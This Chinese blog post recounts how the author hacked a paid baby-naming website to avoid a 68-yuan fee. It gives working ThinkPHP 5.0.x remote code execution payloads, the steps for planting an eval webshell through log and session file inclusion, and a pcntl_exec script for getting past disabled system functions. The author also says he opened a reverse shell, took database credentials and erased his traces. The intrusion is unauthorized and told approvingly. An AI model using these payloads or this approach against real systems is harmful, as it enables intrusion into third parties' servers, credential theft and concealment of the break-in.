0x00 前言
最近宝宝出生,我也升级当爸爸了,但是给宝宝起名可是个头疼的事,翻看了诗经、楚辞也没找到什么好听的名字。由于疫情期间,宝宝的出生证明一直不能办理,所以就搁置了一段时间。前几天我爸发给我一个网站链接说在网上花了30块钱算了名字,让我从里面挑挑看,网站提供了100个名字,我感觉也没有太好的名字
旁边有个选项天降吉名,点进去,还要花68元才能解锁。。。。。。感觉像个骗子网站
我爸说你不是干黑客的吗,把这个网站黑了不就可以不花钱看了吗,我一想也对,我爸不提醒我我都忘了我是干这个的,话不多说,开干!
0x01 信息收集
使用的tengine,经过我后面的测试,发现了服务器做了负载均衡有多个不同ip的服务器。
使用的是php语言,thinkphp3.2.3框架,thinkphp3.2.3的漏洞了解不多,我没测试出来什么问题
数据调用接口返回的数据,测试一下有没有逻辑漏洞,尝试修改查询条数为200,但是没有效果,还是返回60条。
修改type参数看看能不能返回更高级的名字,提示:你得花钱买!!!看来逻辑漏洞是行不通了。
接着我发现返回数据的接口域名和之前的域名不一样,看来是调用的另一个网站的接口,对接口域名进行测试发现是thinkphp5.0.15,并且开启了debug模式
一下子就觉得有希望了
0x02 渗透细节
thinkphp5.x 命令执行漏洞可以说是去年最火的一个漏洞了,找到我之前记录的payload上
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
发现不好使,从百度搜索一下发现thinkphp5.0.x系列的payload我没有见过,之前没有试过,以为5.0.x和5.1.x是通用的,现在看来并不通用,thinkphp5.0.x的payload如下:
POST /?s=captcha _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
目前thinkphp5.x 通过method参数代码执行开发出来的利用方法基本上是这两种:
1.通过thinkphp框架自带的日志功能,通过写入日志文件,利用文件包含getshell
先把含有一句话木马的字符串写进日志 POST /?s=captcha _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['002'])?> 再通过文件包含功能包含日志文件getshell POST /?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202003/22.log&x=phpinfo();
2.通过session把一句话木马写入本地存储文件里,再利用文件包含功能包含来执行代码
把一句话木马写入session POST /?s=captcha Cookie: PHPSESSID=lgr002 _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['002'])?>&server[]=1 session会保存再/tmp/sess_XXX ,XXX为你的cookie,包含这个文件就可以getshell了 POST /?s=captcha _method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_lgr002&server[]=1
我先使用的第一种方法测试,发现不能成功(拿下webshell后发现原来是没有log目录),然后使用第二种方法测试,执行命令成功
但是发现禁用了system等系统命令函数
尝试使用 bypass_disablefunc_via_LD_PRELOAD 和 php7的pwn脚本 执行系统命令都失败后,百度了一下又发现了一个新办法,可以用 pcntl_exec 来绕过。
使用pcntl_exec需要先写入一个文件 ,位置自己定,最好是/tmp目录下,一般不会权限问题,我写到/tmp/exec.sh
#!/bin/bash id > /tmp/result #id 是要执行的命令,后面是命令返回结果输出到文件
再写入一个php文件,放到网站目录下,然后访问就可以执行命令了,结果可以查看/tmp/result
<?php switch (pcntl_fork()) { case 0: pcntl_exec('/bin/bash', ['/tmp/exec.sh']); exit(0); default: break; }
我是直接反弹的shell
然后再找到数据库账号密码就可以省60块钱了,天降吉名随便看
到此已经顺利的拿下了这个宝宝起名网站的控制权
0x03 总结
最后拿到权限也没有用来起名,这次渗透的目的只是为了学习,不是为了搞破坏。清理完入侵痕迹,悄悄地我走了,正如我悄悄地来,我挥一挥衣袖,不带走一片云彩。不过我发现这个起名网站真是个好项目,真赚钱,我也想做一个。。。。。。